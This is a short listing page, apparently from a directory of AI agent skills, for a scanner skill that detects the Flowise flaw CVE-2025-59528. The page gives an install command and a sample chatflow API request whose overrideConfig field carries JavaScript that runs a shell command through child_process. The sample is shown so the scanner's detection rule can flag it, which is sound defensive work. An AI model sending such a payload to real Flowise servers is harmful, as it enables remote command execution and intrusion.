Flowise cve 2025 59528

Security Scanner for Agent Skills

Install

npx -y skills add cisco-ai-defense/skill-scanner --skill flowise-cve-2025-59528

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

One thing to look at

no licenseNo license file was found in the repository. Code published without one is not open source by default, so using it at work is a question for whoever answers licensing questions where you are.

0.3 KB, as published. Nobody here has run it

Exposes Flowise chatflow API with overrideConfig support.

{
  "overrideConfig": {
    "javascriptFunction": "return require(\"child_process\").execSync(\"id\").toString()"
  }
}

Fires: ATR_2026_00210 (CRITICAL) — CVE-2025-59528